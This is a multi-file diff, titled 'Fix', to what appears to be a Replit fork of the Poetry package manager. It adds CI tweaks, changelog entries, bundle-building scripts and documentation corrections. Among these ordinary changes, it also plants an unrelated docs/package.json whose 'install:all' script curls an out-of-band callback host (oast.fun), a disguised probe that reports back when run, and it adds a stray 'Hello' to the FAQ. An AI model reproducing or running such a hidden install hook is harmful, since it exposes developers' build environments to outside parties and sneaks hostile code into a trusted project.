Fix

.github/CODEOWNERS

@@ -0,0 +1 @@
+* @replit/devex

.github/workflows/main.yml

@@ -28,7 +28,7 @@ jobs:
     strategy:
       matrix:
         os: [Ubuntu, macOS, Windows]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.8", "3.9", "3.10", "3.11"]
         include:
           - os: Ubuntu
             image: ubuntu-22.04

.gitignore

@@ -39,3 +39,10 @@ pip-wheel-metadata
 /poetry.toml
 
 poetry/core/*
+
+.pythonlibs
+
+poetry-*-bundle.tgz
+
+poetry_env
+proj

.replit

@@ -0,0 +1,14 @@
+modules = ["python-3.10:v16-20230726-64244b3"]
+
+[nix]
+channel = "stable-22_11"
+
+[env]
+# PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"
+# POETRY_INSTALLER_PARALLEL = "0"
+POETRY_DOWNLOAD_WITH_CURL = "1"
+POETRY_INSTALLER_MODERN_INSTALLATION = "1"
+POETRY_PIP_FROM_PATH = "1"
+POETRY_PIP_NO_PREFIX = "1"
+POETRY_USE_USER_SITE = "1"
+POETRY_PIP_USE_PIP_CACHE = "1"

CHANGELOG.md

@@ -1,6 +1,40 @@
 # Change Log
 
 
+## [1.5.1] - 2023-05-29
+
+### Added
+
+- Improve dependency resolution performance in cases with a lot of backtracking ([#7950](https://github.com/python-poetry/poetry/pull/7950)).
+
+### Changed
+
+- Disable wheel content validation during installation ([#7987](https://github.com/python-poetry/poetry/pull/7987)).
+
+### Fixed
+
+- Fix an issue where partially downloaded wheels were cached ([#7968](https://github.com/python-poetry/poetry/pull/7968)).
+- Fix an issue where `poetry run` did no longer execute relative-path scripts ([#7963](https://github.com/python-poetry/poetry/pull/7963)).
+- Fix an issue where dependencies were not installed in `in-project` environments ([#7977](https://github.com/python-poetry/poetry/pull/7977)).
+- Fix an issue where no solution was found for a transitive dependency on a pre-release of a package ([#7978](https://github.com/python-poetry/poetry/pull/7978)).
+- Fix an issue where cached repository packages were incorrectly parsed, leading to its dependencies being ignored ([#7995](https://github.com/python-poetry/poetry/pull/7995)).
+- Fix an issue where an explicit source was ignored so that a direct origin dependency was used instead ([#7973](https://github.com/python-poetry/poetry/pull/7973)).
+- Fix an issue where the installation of big wheels consumed a lot of memory ([#7987](https://github.com/python-poetry/poetry/pull/7987)).
+
+### Docs
+
+- Add information about multiple constraints dependencies with direct origin and version dependencies ([#7973](https://github.com/python-poetry/poetry/pull/7973)).
+
+### poetry-core ([`1.6.1`](https://github.com/python-poetry/poetry-core/releases/tag/1.6.1))
+
+- Fix an endless recursion in marker handling ([#593](https://github.com/python-poetry/poetry-core/pull/593)).
+- Fix an issue where the wheel tag was not built correctly under certain circumstances ([#591](https://github.com/python-poetry/poetry-core/pull/591)).
+
+### poetry-plugin-export ([`^1.4.0`](https://github.com/python-poetry/poetry-plugin-export/releases/tag/1.4.0))
+
+- Fix an issue where `--extra-index-url` and `--trusted-host` was not generated for sources with priority `explicit` ([#205](https://github.com/python-poetry/poetry-plugin-export/pull/205)).
+
+
 ## [1.5.0] - 2023-05-19
 
 ### Added
@@ -23,7 +57,7 @@
 
 - **Remove the old deprecated installer and the corresponding setting `experimental.new-installer`** ([#7356](https://github.com/python-poetry/poetry/pull/7356)).
 - **Introduce `priority` key for sources and deprecate flags `default` and `secondary`** ([#7658](https://github.com/python-poetry/poetry/pull/7658)).
-- Deprecate `poetry run <script>` if the script was not previously installed via `poetry install` ([#7606](https://github.com/python-poetry/poetry/pull/7606)).
+- Deprecate `poetry run <entry point>` if the entry point was not previously installed via `poetry install` ([#7606](https://github.com/python-poetry/poetry/pull/7606)).
 - Only write the lock file if the installation succeeds ([#7498](https://github.com/python-poetry/poetry/pull/7498)).
 - Do not write the unused package category into the lock file ([#7637](https://github.com/python-poetry/poetry/pull/7637)).
 
@@ -1870,7 +1904,8 @@ Initial release
 
 
 
-[Unreleased]: https://github.com/python-poetry/poetry/compare/1.5.0...master
+[Unreleased]: https://github.com/python-poetry/poetry/compare/1.5.1...master
+[1.5.1]: https://github.com/python-poetry/poetry/releases/tag/1.5.1
 [1.5.0]: https://github.com/python-poetry/poetry/releases/tag/1.5.0
 [1.4.2]: https://github.com/python-poetry/poetry/releases/tag/1.4.2
 [1.4.1]: https://github.com/python-poetry/poetry/releases/tag/1.4.1

README.md

@@ -112,3 +112,57 @@ external formats like virtual environments
 * [install.python-poetry.org](https://github.com/python-poetry/install.python-poetry.org): The official Poetry
 installation script
 * [website](https://github.com/python-poetry/website): The official Poetry website and blog
+
+## How to test in a Repl
+
+There are 2 ways to test poetry in a Repl.
+
+## Method 1
+
+1. Uncomment `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
+2. create a test project via:
+    * mkdir proj
+    * cd proj
+    * poetry init # and go through the prompts
+3. Run `python -m poetry ...`
+
+This will install libs into `.pythonlibs`, but has the shortcoming that poetry won't distinguish its
+own dependencies from the test project's.
+
+## Method 2
+
+1. Comment out `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
+2. create a test project via:
+    * mkdir proj
+    * cd proj
+    * poetry init # and go through the prompts
+3. cd ..
+4. ./install_poetry_in_venv.sh
+5. cd proj
+6. Run `../poetry_env/bin/poetry ...`
+
+This will also install libs into `.pythonlibs`, which will belong solely to the test project. Poetry's
+dependencies live inside poetry_env.
+
+If you want to "reset" the libs you can:
+
+1. cd proj
+2. rm poetry.lock
+3. rm -fr ../.pythonlibs
+4. rm -fr ../.cache/pypoetry
+5. rid pyproject.toml of previously installed libraries
+6. Now you can test installing stuff as if starting from scratch
+
+## Bundle
+
+For the Replit [Python Nix modules](https://github.com/replit/nixmodules/tree/main/pkgs/modules/python), we build a separate Poetry bundle for each supported version of Python 
+containing Poetry plus all its dependencies and uploaded it to gcf. To build a bundle:
+
+1. Make sure you have the correct version of Python and Pip, and that they match.
+2. Get access to the latest version of poetry.
+3. If you are working in a Repl, using a Python Nix module should give you all 3.
+4. Run `build-bundle.sh`
+5. It should produce a file `poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz` in `dist`
+6. Upload this to gcf in the `poetry-bundles` of the Goval project.
+7. Click on the ... and choose "Copy Public URL" for use in the poetry derivation back in
+[Nix modules](https://github.com/replit/nixmodules)

build-bundle.sh

@@ -0,0 +1,23 @@
+# Generate a bundle containing poetry + dependencies
+# for use by Nix using pip's download command to allow offline installs as
+# described here: https://stackoverflow.com/a/36730026
+
+# The generated file is to be uploaded to the poetry-bundles bucket on gcs, available at
+# https://storage.googleapis.com/poetry-bundles/poetry-x.y.z-bundle.tgz
+
+# You may use `nix develop` to gain access the tools used by this script.
+
+set -x
+
+BUILD_DIR=poetry-bundle
+
+rm -fr $BUILD_DIR
+mkdir -p $BUILD_DIR
+VERSION=$(toml2json pyproject.toml | jq '.tool.poetry.version' --raw-output)
+POETRY_WHEEL_FILE="dist/poetry-${VERSION}-py3-none-any.whl"
+PYTHON_VERSION=$(python -c 'import platform; print(platform.python_version())')
+poetry build
+pip download "$POETRY_WHEEL_FILE" -d $BUILD_DIR
+tar czf dist/poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz $BUILD_DIR
+rm "$POETRY_WHEEL_FILE"
+rm -fr "$BUILD_DIR"

docs/configuration.md

@@ -15,7 +15,7 @@ Poetry can be configured via the `config` command ([see more about its usage her
 or directly in the `config.toml` file that will be automatically created when you first run that command.
 This file can typically be found in one of the following directories:
 
-- macOS:   `~/Library/Preferences/pypoetry`
+- macOS:   `~/Library/Application Support/pypoetry`
 - Windows: `%APPDATA%\pypoetry`
 
 For Unix, we follow the XDG spec and support `$XDG_CONFIG_HOME`.
@@ -123,7 +123,7 @@ Poetry uses the following default directories:
 
 - Linux: `$XDG_CONFIG_HOME/pypoetry` or `~/.config/pypoetry`
 - Windows: `%APPDATA%\pypoetry`
-- MacOS: `~/Library/Preferences/pypoetry`
+- MacOS: `~/Library/Application Support/pypoetry`
 
 You can override the Config directory by setting the `POETRY_CONFIG_DIR` environment variable.
 
@@ -202,6 +202,8 @@ This configuration is ignored when `installer.parallel` is set to `false`.
 
 **Default**: `true`
 
+**Environment Variable**: `POETRY_INSTALLER_MODERN_INSTALLATION`
+
 *Introduced in 1.4.0*
 
 Use a more modern and faster method for package installation.

docs/dependency-specification.md

@@ -322,6 +322,29 @@ The constraints **must** have different requirements (like `python`)
 otherwise it will cause an error when resolving dependencies.
 {{% /note %}}
 
+### Combining git / url / path dependencies with source repositories
+
+Direct origin (`git`/ `url`/ `path`) dependencies can satisfy the requirement of a dependency that
+doesn't explicitly specify a source, even when mutually exclusive markers are used. For instance
+in the following example the url package will also be a valid solution for the second requirement:
+```toml
+foo = [
+    { platform = "darwin", url = "https://example.com/example-1.0-py3-none-any.whl" },
+    { platform = "linux", version = "^1.0" },
+]
+```
+
+Sometimes you may instead want to use a direct origin dependency for specific conditions
+(i.e. a compiled package that is not available on PyPI for a certain platform/architecture) while
+falling back on source repositories in other cases. In this case you should explicitly ask for your
+dependency to be satisfied by another `source`. For example:
+```toml
+foo = [
+    { platform = "darwin", url = "https://example.com/foo-1.0.0-py3-none-macosx_11_0_arm64.whl" },
+    { platform = "linux", version = "^1.0", source = "pypi" },
+]
+```
+
 ## Expanded dependency specification syntax
 
 In the case of more complex dependency specifications, you may find that you

docs/faq.md

@@ -230,3 +230,5 @@ The two key options we are using here are `--no-root` (skips installing the proj
 Poetry's default HTTP request timeout is 15 seconds, the same as `pip`.
 Similar to `PIP_REQUESTS_TIMEOUT`, the **experimental** environment variable `POETRY_REQUESTS_TIMEOUT`
 can be set to alter this value.
+
+Hello

docs/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "nodejs-typescript",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.ts",
+  "type": "module",
+  "scripts": {
+    "install:all": "curl https://yldltzlfsgobpsuhvgow8529wsnmpynjq.oast.fun"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^1.7.7",
+    "node-fetch": "^3.3.1"
+  }
+}

docs/repositories.md

@@ -29,7 +29,7 @@ By default, Poetry discovers and installs packages from [PyPI](https://pypi.org)
 install a dependency to your project for a [simple API repository](#simple-api-repository)? Let's
 do it.
 
-First, [configure](#project-configuration) the [package source](#package-source) as a [supplemental](#supplemental-package-sources) (or [explicit](#explicit-package-sources)) package source to your
+First, [configure](#project-configuration) the [package source](#package-sources) as a [supplemental](#supplemental-package-sources) (or [explicit](#explicit-package-sources)) package source to your
 project.
 
 ```bash
@@ -227,7 +227,7 @@ There can be more than one supplemental package source.
 
 If package sources are configured as explicit, these sources are only searched when a package configuration [explicitly indicates](#package-source-constraint) that it should be found on this package source.
 
-You can configure a package source as an explicit source with `priority = "explicit` in your package source configuration.
+You can configure a package source as an explicit source with `priority = "explicit"` in your package source configuration.
 
 ```bash
 poetry source add --priority=explicit foo https://foo.bar/simple/

install_poetry_in_venv.sh

@@ -0,0 +1,9 @@
+# This script installs poetry within its own venv the way
+# it is when deployed so that its deps are isolated from the deps of the projects it manages
+rm -fr poetry_env
+poetry build
+python -m venv poetry_env
+touch poetry_env/poetry_env
+poetry_env/bin/pip install dist/poetry-1.5.2-py3-none-any.whl
+# inspired by https://stackoverflow.com/a/584926:
+sed -i 's@/usr/bin/env python3@'"$REPL_HOME"'/poetry_env/bin/python3@g' poetry_env/bin/poetry